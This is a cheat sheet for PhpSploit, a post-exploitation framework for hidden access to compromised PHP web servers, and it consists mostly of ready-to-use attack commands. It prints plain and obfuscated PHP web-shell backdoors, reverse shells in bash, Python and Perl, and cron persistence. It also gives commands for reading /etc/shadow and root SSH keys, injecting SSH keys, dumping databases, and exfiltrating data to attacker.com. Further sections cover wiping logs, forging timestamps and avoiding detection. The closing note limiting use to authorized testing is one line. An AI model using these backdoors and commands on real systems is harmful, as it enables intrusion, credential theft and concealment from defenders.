PhpSploit

Overview

PhpSploit is a remote administration framework designed for stealth post-exploitation activities on compromised PHP web servers. It operates through hidden PHP backdoors, allowing attackers to interact with compromised systems while evading detection. The framework provides command execution, file management, and system enumeration capabilities.

Key Features:

  • Stealth PHP backdoor deployment
  • Interactive remote shell environment
  • File upload, download, and manipulation
  • System enumeration and reconnaissance
  • Memory-based operation (minimal disk footprint)
  • Anti-detection capabilities
  • Multi-session management

Installation

From GitHub

git clone https://github.com/nil0x42/phpsploit.git

Backdoor Deployment

PHP Backdoor Creation

# Simple one-liner backdoor
<?php system($_GET['cmd']); ?>

# More stealthy version
<?php if(isset($_POST['c'])){ echo "<pre>";system($_POST['c']);echo "</pre>"; } ?>

# Base64 encoded command execution
<?php system(base64_decode($_GET['x'])); ?>

Deploy Backdoor via PhpSploit

phpsploit> upload backdoor.php /var/www/html/
phpsploit> connect http://target.com/backdoor.php

Obfuscated Backdoor

# Variable obfuscation
<?php $a="sy"."st"."em"; $a($_GET['c']); ?>

# Function indirection
<?php $f=create_function('$x','return system($x);'); echo $f($_GET['c']); ?>

Persistent Backdoor

# Write to web root with persistence
phpsploit> run echo '<?php system($_GET["c"]); ?>' > /var/www/html/.hidden/shell.php
phpsploit> run chmod 644 /var/www/html/.hidden/shell.php

Post-Exploitation Workflows

Privilege Escalation Enumeration

phpsploit> run sudo -l
phpsploit> run find / -perm -4000 2>/dev/null
phpsploit> run find / -writable 2>/dev/null | head -20
phpsploit> run cat /etc/crontab

Credential Harvesting

phpsploit> run cat /etc/shadow
phpsploit> run cat /home/*/.bash_history
phpsploit> run cat /root/.ssh/id_rsa

Lateral Movement

# Enumerate internal network
phpsploit> run nmap -sn 192.168.1.0/24
phpsploit> run arp -a

# Scan for open ports
phpsploit> run netstat -tulpn | grep LISTEN

Data Exfiltration

# Tar and compress sensitive files
phpsploit> run tar -czf /tmp/data.tar.gz /var/www/html/

# Encode for exfiltration
phpsploit> run base64 /tmp/data.tar.gz > /tmp/data.b64

# Download exfiltrated data
phpsploit> download /tmp/data.b64 ./exfiltrated_data.b64

Advanced Configuration

Set User Agent

phpsploit> set user_agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
phpsploit> set user_agent "Custom-Agent/1.0"

Proxy Configuration

phpsploit> set proxy http://127.0.0.1:8080

Exploitation Techniques

Reverse Shell Deployment

# Bash reverse shell
phpsploit> run bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &

# Python reverse shell
phpsploit> run python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"

# Perl reverse shell
phpsploit> run perl -e "use Socket;$i='10.10.10.10';$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));connect(S,sockaddr_in($p,inet_aton($i)));exec('/bin/sh -i <&3 >&3 2>&3');"

Cron Job Persistence

phpsploit> run crontab -l
phpsploit> run (crontab -l; echo "* * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1") | crontab -

SSH Key Injection

phpsploit> run mkdir -p /root/.ssh
phpsploit> run echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

Database Access

phpsploit> run mysql -u root -ppassword -e "SHOW DATABASES;"
phpsploit> run mysql -u root -ppassword wordpress -e "SELECT user_login, user_pass FROM wp_users;"

Defense Evasion

Process Hiding

# Run command disassociated from parent
phpsploit> run nohup /path/to/command &
phpsploit> run setsid /path/to/command

Timestamp Manipulation

phpsploit> run touch -r /bin/ls /tmp/backdoor.php
phpsploit> run touch -t 202001010000 /tmp/backdoor.php

Log Sanitization

phpsploit> run cat /var/log/apache2/access.log | grep -v "shell.php"
phpsploit> run > /var/log/apache2/access.log
phpsploit> run cat /dev/null > ~/.bash_history

Firewall Bypass

# DNS tunneling
phpsploit> run nslookup attacker.com

# HTTP tunneling
phpsploit> run curl http://attacker.com/callback?data=$(whoami)

Scripting and Automation

Create PhpSploit Script

#!/bin/bash
# automated_exploitation.sh

TARGET="http://target.com/shell.php"

phpsploit <<EOF
connect $TARGET
set verbosity 2
run id
run whoami
run pwd
run uname -a
download /etc/passwd ./passwd.txt
quit
EOF

Batch Command Execution

phpsploit> run 'for i in {1..10}; do echo $i; done'
phpsploit> run 'find / -name "*.conf" 2>/dev/null | head -20'
phpsploit> run 'grep -r "password" /var/www/html 2>/dev/null'

Real-World Attack Scenarios

Web Server Compromise

# 1. Upload backdoor
phpsploit> upload backdoor.php /var/www/html/

# 2. Connect to backdoor
phpsploit> connect http://target.com/backdoor.php

# 3. Enumerate system
phpsploit> run uname -a
phpsploit> run id

# 4. Create persistence
phpsploit> run echo "<?php system($_GET['c']); ?>" > /var/www/html/.htaccess.php

Database Extraction

# Identify database
phpsploit> run find / -name "*.env" | grep -i database

# Extract credentials
phpsploit> run cat /var/www/html/.env | grep DATABASE

# Dump database
phpsploit> run mysqldump -u root -p database > /tmp/dump.sql
phpsploit> download /tmp/dump.sql ./database_dump.sql

Application Server Escalation

# Identify running services
phpsploit> run ps aux | grep -i "apache\|nginx\|tomcat"

# Check for vulnerable services
phpsploit> run netstat -tulpn

# Attempt local privilege escalation
phpsploit> run sudo -l
phpsploit> run find / -perm -4000 2>/dev/null

Troubleshooting

Connection Issues

# Verify backdoor accessibility
curl http://target.com/shell.php

# Test with different encoding
phpsploit> set encoding base64
phpsploit> connect http://target.com/shell.php

Command Execution Problems

# Test basic commands
phpsploit> run echo test
phpsploit> run id

# Check PHP version
phpsploit> run php --version

File Transfer Issues

# Verify file permissions
phpsploit> run ls -la /var/www/html/

# Check available space
phpsploit> run df -h /var/www/html/

Security Best Practices

Operational Security

  • Use VPN/proxy for all connections
  • Rotate backdoor locations regularly
  • Clean logs and evidence of activity
  • Use encrypted communication when possible
  • Establish dead drops for communication

Detection Avoidance

  • Use legitimate PHP functions
  • Avoid suspicious filenames
  • Minimize footprint on disk
  • Use appropriate timing for activities
  • Monitor system for detection indicators

Version and Support

./phpsploit --version

Critical: PhpSploit is designed for authorized penetration testing and red team exercises only. Unauthorized access to computer systems is illegal. Always obtain explicit written authorization before deploying backdoors or conducting post-exploitation activities. Misuse of this framework may result in serious legal consequences.
